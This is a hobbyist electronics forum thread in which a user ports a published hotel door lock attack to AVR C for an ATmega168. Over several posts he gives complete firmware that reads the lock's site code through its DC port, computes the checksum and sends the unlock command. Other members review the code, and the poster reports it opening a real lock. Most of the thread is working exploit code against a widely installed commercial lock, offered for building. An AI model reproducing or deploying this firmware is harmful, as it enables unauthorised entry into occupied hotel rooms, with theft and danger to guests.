NerdKits - electronics education for a digital generation

You are not logged in. [log in]

NEW: Learning electronics? Ask your questions on the new Electronics Questions & Answers site hosted by CircuitLab.

Project Help and Ideas » Hotel door opener

July 26, 2012
by virtual
virtual's Avatar

The door lock that's most commonly used in hotels around the world for card entry has been cracked. It's quite interesting because you can communicate with the lock over a single wire protocol - and open any door. It's a very interesting read as it's a nice combination of analysis, hardware and software.

http://demoseen.com/bhpaper.html

The guy build a proof of concept using an Arduino - which I think is cheating. I'm intending to have a bash at building one from the nerdkit this weekend.

Thought others might be interested. If you build it - don't be naughty :)

July 26, 2012
by virtual
virtual's Avatar

There's also a presentation with some diagrams of the clock timings

http://demoseen.com/bhtalk2.pdf

July 27, 2012
by pcbolt
pcbolt's Avatar

virtual -

Very interesting reading. I'm surprised the access port is that accessible, why not just put a locked panel around it. Good luck with your project, hope you post some results...just don't go framing any poor chambermaids for murder :-)

Although this post wanders precariously close to "black hat" territory (which I believe is frowned upon here) the content is MCU related and relevant in that respect.

July 30, 2012
by virtual
virtual's Avatar

So i've taken the Ardunio sketch and converted it to plain C to use with the nerdkits libs - although all i've really used is the delay headers.

The rest is just converted from the code in the above link.

Setup your atmega as if you're just going to drive a flashing LED off of PC4 and attach a barrel connector between there and ground.

I've yet to try this on a door - but i'm away in a few weeks so i'll take the laptop + electronics to do a bit of testing (on my own door of course).

Here's the code.

// dooropener.c
// For ATmega168 and nerdkits library
// set up your atmega like you would for driving an LED off PC4
// add a barrell connect (decribed in the link below) to PC4 and ground
// code based entirely on arduino sketch - http://demoseen.com/bhpaper.html
// make sure you read the paper it's impressive work
// i_guitar@hotmail.com

#define F_CPU 14745600

#include <stdio.h>
#include <math.h>

#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/pgmspace.h>
#include <inttypes.h>

#include "../libnerdkits/delay.h"

// PIN DEFINITIONS:
// PC4 (int number 27) -- i/o pin with interrupts enabled
// see the refernced page but we're generating the clock
// in order to communicate with the door so everything
// happens on this pin

#define BUFSIZE 200
unsigned char buf[BUFSIZE];

//bits to send to the door
unsigned char dbits[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0};

//door open bits that get populated with site code and checksum after reply from read memory
unsigned char bits[][144] = {
  {
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 0, 1, 0, 0, 0, 1, 0, 
    0, 1,

    1, 0, 0, 0, 1, 0, 0, 0, 1, 
    1, 0, 1, 0, 0, 1, 0, 1, 1, 
    1, 1, 0, 0, 0, 0, 1, 1, 1, 
    0, 0, 0, 1, 1, 1, 0, 1, 1,

    1, 1, 1, 1, 1, 1, 1, 1, 
    0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0
  }, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0}
};

//make sure PC4 does all the work
void digitialInit() {   
    //make PC4 output pin
    DDRC |= (1<<PC4);

    //Enable PIN Change Interrupt 1
    PCICR |= (1<<PCIE1);

    //Set the mask on Pin change interrupt 1 so that only PCINT12 (PC4) triggers
    PCMSK1 |= (1<<PCINT12);

    //we need to trigger on the falling edge
    EICRA |= (1 << ISC10);
}

unsigned volatile char bval;

//interrupt handler for getting data back from the lock
//we're just going to set a volatile variable to 0 or 1
//for the data stream
ISR(PCINT1_vect){
  bval = 1;
}

int main() {
  //init the i/o pin
  digitialInit();

  int i = 0;

  //bang data to door to read memory for site id
  for(i=0 ; i < sizeof(dbits); ++i) {
    if(dbits[i] == 0) {
      PORTC &= ~(1<<PC4);
      delay_us(16);
      PORTC |= (1<<PC4);
      delay_us(190);
    } 
    else {
      PORTC &= ~(1<<PC4);
      delay_us(16);
      PORTC |= (1<<PC4);
      delay_us(56);
      PORTC &= ~(1<<PC4);
      delay_us(16);
      PORTC |= (1<<PC4);
      delay_us(112);
    }
  }

  PORTC &= ~(1<<PC4);
  delay_us(16);
  PORTC |= (1<<PC4);

  bval = 0;

  //enable interrupts
  sei();

  //read data from door using the interrupt to get the bits
  while((PINC & (1<<PC4)) == 1) {}
  delay_us(20);
  for(i = 0; i < 164; ++i) {
    buf[i] = 0;
    PORTC &= ~(1<<PC4);
    delay_us(8);
    PORTC |= (1<<PC4);
    bval = 0;
    delay_us(184);
    buf[i] = bval;
  }

  //add the site code
  for(i = 0; i < 32+3; ++i) {
    bits[0][50+i] = buf[22+i];
  }

  //compute checksum
  for(i = 0; i < 8; ++i) {
    bits[0][86+i] = bits[0][50+i] ^ bits[0][50+9+i] ^ bits[0][50+18+i] ^ bits[0][50+27+i];
  }

  bits[0][86] ^= 1;
  bits[0][87] ^= 0;
  bits[0][88] ^= 1;
  bits[0][89] ^= 1;
  bits[0][90] ^= 1;
  bits[0][91] ^= 0;
  bits[0][92] ^= 1;
  bits[0][93] ^= 1;

  int j =0;

  //open the door (hopefully)
  for(j = 0; j < 11; ++j) {
    for(i = 0; i < sizeof(bits[j]); ++i) {
      if(bits[j][i] == 0) {
        PORTC &= ~(1<<PC4);
        delay_us(16);
        PORTC |= (1<<PC4);
        delay_us(190);
      } 
      else {
        PORTC &= ~(1<<PC4);
        delay_us(16);
        PORTC |= (1<<PC4);
        delay_us(56);
        PORTC &= ~(1<<PC4);
        delay_us(16);
        PORTC |= (1<<PC4);
        delay_us(112);
      }
    }

    delay_us(500);
  }

  return 0;
}
July 31, 2012
by virtual
virtual's Avatar

found a bug - due to lack of program space i need to shift this stuff into rom so just add the PROGMEM attribute - otherwise the code wont run.

//bits to send to the door
unsigned char dbits[] PROGMEM = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0};
July 31, 2012
by pcbolt
pcbolt's Avatar

virtual -

Looks like you are storing 1-bit values in 8-bit memory locations and losing a great deal of memory. If you consolidate each 8-bit sequence into a single hex number, you can store much more data. Then all you need to do is a little bitwise arithmetic to extract the bit values. If you have an array of say 18 bytes which contain all your bit sequences, you can extract them like this:

for (i = 0; i < 18; i++){
    output = byte_array[i];
    for (j = 0; j < 8; j++){
        if (output & 0x80){
            // bit value = 1 -> set output high
        }
        else {
            // bit value = 0 -> set output low
        }
        output = output << 1;
    }
}
July 31, 2012
by virtual
virtual's Avatar

Thanks for the advice - that sounds like a much better idea!

I'll get started on that just now :)

August 02, 2012
by virtual
virtual's Avatar

So i've updated the code as suggested plus done a bit of testing and a tidy up. New code is below. I've built a little test harness + programmer with a ftdi um232r module to handle programming without the bootloader plus using the uart to talk back to the pc for debug messages.

Here's a little photo of it - http://i.imgur.com/bUzs1.jpg - i'm afraid it's not very neat at the moment so don't cringe too much - the voltage reg is off to the side so i can run the circuit when i'm not using power from the usb - uart bridge. I'll draw a schematic if anyone is that interested.

I've run tests via debugging and i'm fairly happy that the code works - the only thing will be adjusting the delays. The original author of the paper used the delays i've used but he was using an arduino based on a atmega128.

I need to get myself a door lock to play with - there's one on ebay that i'm hoping to get :)

// dooropener.c
// For ATmega168 and nerdkits library
// code based entirely on arduino sketch - http://demoseen.com/bhpaper.html
// make sure you read the paper it's impressive work

// When creating the hex file make sure you use -j .data flag for avr-objdump
// otherwise none of the static data will arrive in the binary.

// i_guitar@hotmail.com

#define F_CPU 14745600

#include <stdio.h>
#include <math.h>

#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/pgmspace.h>
#include <inttypes.h>

#include "../libnerdkits/delay.h"
#include "../libnerdkits/uart.h"

// PIN DEFINITIONS:
// PC4 -- i/o pin with interrupts enabled
// PC3 -- pin high when interrupt has happend - drive an led with it
// PC5 -- ground this pin for normal operation or we will wait until
//        it's grounded before continuting. This allows us to send debug
//        messages over the uart and have a chance to connect a computer
//        before it does it's job.

unsigned int GetBitValue(unsigned char* array, int position); 
void SetBitValue(unsigned char* array, int position, unsigned int value); 
void SendZeroAndSyncPulse(); 
void SendOneAndSyncPulse();

//defined this as some testing was done with a longer delay by defining this as delay_ms instead
#define delay(x) delay_us(x) 
#define BUFSIZE 21
unsigned char buf[BUFSIZE];

//bits to send to the door
unsigned char dbits[] = {0,0,0,0,0,0xA3,0xE0,0x21,0x13,0};

//door open bits that get populated with site code and checksum after reply from read memory
//organised in groups as that's how the lock wants them - even though we mostly index into these
//as if they're linear. Note that the groups vary in length so we have to take that into account later
unsigned char bits[][18] = {
  {0,0,0,0,0,0xA2,0x62, 0x34, 0xBC, 0x38, 0xEF, 0xFC, 0, 0, 0, 0, 0, 0 },
  {0,0,0,0,0,0,0},
  {0,0,0,0,0,0,0},
  {0,0,0,0,0,0,0},  
  {0,0,0,0,0,0,0},
  {0,0,0,0,0,0,0},
  {0,0,0,0,0,0,0},
  {0,0,0,0,0,0,0},
  {0,0,0,0,0,0,0},
  {0,0,0,0,0,0,0},
  {0,0,0,0,0,0,0x9A, 0xF2, 0x80}
};

//make sure PC4 does all the work
void digitialInit() {   
  //make PC4 ond PC3 output pins
  DDRC |= (1<<PC4);
  DDRC |= (1<<PC3);

  //make pc5 an input pin - we'll use this to start the unlock process
  DDRC &= ~(1<<PC5); // set PC5 as input

  //turn on the pull ups on pc5 so we'll ground it when we're good to go
  PORTC |= (1<<PC5); // turn on internal pull up resistor for PC0

  //Enable PIN Change Interrupt 1
  PCICR |= (1<<PCIE1);

  //Set the mask on Pin change interrupt 1 so that only PCINT12 (PC4) triggers
  PCMSK1 |= (1<<PCINT12);

  //we need to trigger on the falling edge
  EICRA |= (1 << ISC10);

  //enable interrupts
  sei();
}

unsigned volatile char bval;

//interrupt handler for getting data back from the lock
//we're just going to set a volatile variable to 0 or 1
//for the data stream
ISR(PCINT1_vect){
  bval = 1;
}

int main() {
  //init the i/o pin
  digitialInit();

  //init the usart so we can monitor stuff
  uart_init();
  FILE uart_stream = FDEV_SETUP_STREAM(uart_putchar, uart_getchar, _FDEV_SETUP_RW);
  stdin = stdout = &uart_stream;

  int i, j;

  //wait for PC5 to get pulled down - ground it to skip this 
  while((PINC & (1<<PC5)) >> PC5) {}

  printf_P(PSTR("\n\nSending data to the lock..\n"));

  //bang data to door to read memory for site id
  for(i=0 ; i < 76; ++i) {
    unsigned int bit = GetBitValue(dbits, i);
    if(bit>0) {
      SendOneAndSyncPulse(); 
    }
    else {
      SendZeroAndSyncPulse(); 
    } 
  }

  PORTC &= ~(1<<PC4);
  delay(16);
  PORTC |= (1<<PC4);

  printf_P(PSTR("\n\nWaiting for reply...\n"));

  bval = 0;

  //wait for the lock to pull us low to say somethings happening
  while((PINC & (1<<PC4))) {}

  unsigned char input;

  //use the interrupt to get the data back - bval will be changed by the ISR 
  PORTC |= (1<<PC3);
  delay(20);
  for(i = 0; i < 21; ++i) {
    input = 0u;
    for(j = i==20?4:0; j < 8; ++j) {
      buf[i] = 0;
      PORTC &= ~(1<<PC4);
      delay(8);
      PORTC |= (1<<PC4);
      bval = 0;
      delay(184);
      input|=bval<<j;

      printf_P(PSTR("%d"),bval);
    }

    buf[i] = input;
  }

  printf_P(PSTR("\n\nCalculating reply and checksum\n"));

  //add the site code
  for(i = 0; i < 32+3; ++i) {
    SetBitValue(bits, i, GetBitValue(buf, 22+i));
  }

  //compute checksum
  for(i = 0; i < 8; ++i) {
    SetBitValue(bits, 86+i, GetBitValue(bits, 50+i) ^ GetBitValue(bits, 50+9+i) ^ GetBitValue(bits, 50+18+i) ^ GetBitValue(bits, 50+27+i)); 
  }

  SetBitValue(bits, 86, GetBitValue(bits, 86) ^ 1); 
  SetBitValue(bits, 87, GetBitValue(bits, 87) ^ 0);
  SetBitValue(bits, 88, GetBitValue(bits, 88) ^ 1);
  SetBitValue(bits, 89, GetBitValue(bits, 89) ^ 1);
  SetBitValue(bits, 90, GetBitValue(bits, 90) ^ 1);
  SetBitValue(bits, 91, GetBitValue(bits, 91) ^ 0);
  SetBitValue(bits, 92, GetBitValue(bits, 92) ^ 1);
  SetBitValue(bits, 93, GetBitValue(bits, 93) ^ 1);

  printf_P(PSTR("\n\nSending unlock code\n\n"));

  int n;

  //open the door (hopefully)
  //take the varying group lengths into account
  for(j = 0; j < 11; ++j) {
    if(i == 0) {
      n = 135;
    }
    else if(i == 10) {
      n = 58;
    }
    else { 
      n = 49; 
    }

    //access the bits to send by 2d array and base the length on knowing some
    //stuff about row length because it's static data 
    for(i = 0; i < n; ++i) {
      if(GetBitValue(bits[j], i) == 0) {
        SendZeroAndSyncPulse(); 
      } 
      else {
        SendOneAndSyncPulse(); 
      }
    }

    delay(500);
  }

  printf_P(PSTR("\n\nOpen Sasame?..."));

  return 0;
}

//given an array of chars which store bit flags grab a specific bit
unsigned int GetBitValue(unsigned char* array, int position) {
  int idx = position / 8 ; 
  unsigned char bits = array[idx];
  int bitIdx = 7 - position % 8;
  unsigned char mask = 1u << bitIdx;

  return (bits & mask)>0?1:0 ; 
}

void SetBitValue(unsigned char* array, int position, unsigned int value) {
  int idx = position / 8 ;
  int bitIdx = 7 - position % 8;
  unsigned char mask = value==0?0:1 << bitIdx;

  array[idx] |= mask;
}

void SendZeroAndSyncPulse() {
  PORTC &= ~(1<<PC4);
  delay(16);
  PORTC |= (1<<PC4);
  delay(190);
  printf_P(PSTR("0"));
}

void SendOneAndSyncPulse() {
  PORTC &= ~(1<<PC4);
  delay(16);
  PORTC |= (1<<PC4);
  delay(56);
  PORTC &= ~(1<<PC4);
  delay(16);
  PORTC |= (1<<PC4);
  delay(112);
  printf_P(PSTR("1"));
}
August 02, 2012
by pcbolt
pcbolt's Avatar

virtual -

Wow. Looks like you're really sinking your teeth into this project. One thing in the code looks odd to me (lines 185-189):

for(j = 0; j < 11; ++j) {
    if(i == 0) {
      n = 135;
    }
    else if(i == 10) {

Should the "if/else if" statements compare to "j" instead of "i"? Just curious.

I'd be very interested to see your results when you interface with the door lock.

August 02, 2012
by virtual
virtual's Avatar

Hey pcbolt - I'm somewhat obsessive I'm afraid. Thanks for taking time to read the code - proof that code reviews do work - you're absolutely right!

August 03, 2012
by virtual
virtual's Avatar

Btw - i have an appropriate onity door lock on the way. Its coming from the US to me in the UK so it might be a week or two before i can really test. I'll post again once I've got something to show for it.

Pcbolt - thanks again for the help.

August 10, 2012
by virtual
virtual's Avatar

Ok - I have the lock and after a little playing around with a logic probe and chatting to the guy who wrote the paper i have a working version.

I shall do a proper write up later with some pics and and a diagram + code.

August 10, 2012
by virtual
virtual's Avatar

Lock + circuit

http://imgur.com/a/yr5pB#0

Little video of it actually working

http://youtu.be/2SrUaGBBvF8

Code http://pastebin.com/U5HJMWg9

One of the comments in the code is a bit wrong. It's not being driven of PC4 any more, it's PD3 due to needing to be able to detect the falling edge of the interrupt.

This was done with a blank ATMega168 that I programmed with my own circuit but it should work just fine with the nerdkits bootloader. I intend to give it a try tomorrow - it's a bit late here now.

It's quite shocking that you can read the memory of a hotel door lock via an easily accessible connector - even more shocking that the key to the lock is essentially stored unencrypted in memory.

August 11, 2012
by Ralphxyz
Ralphxyz's Avatar

It's quite shocking that you can read the memory of a hotel door lock via an easily accessible connector - even more shocking that the key to the lock is essentially stored unencrypted in memory.

Yeah but can you access it from a card reader?

If one has access to the guts of a lock it is not surprising that it's security can be bypassed.

Never the less this is a very intriguing project but I'd like to see what you can do with a installed lock with just the card reader.

Which I can imagine might be doable especially after your demonstration of how relatively easy it is when you have access to the internals.

Then of course I want to use a non contact scanner.

Ralph

August 11, 2012
by virtual
virtual's Avatar

There's a barrel connector on the bottom of the lock. Accessible to all. No special access required! i can walk up to an installed lock an open it in 200us :-o

I can however create a card to access any lock but that's also based on another persons research.

Post a Reply

Please log in to post a reply.

Did you know that spinning a permanent magnet motor makes a voltage? Learn more...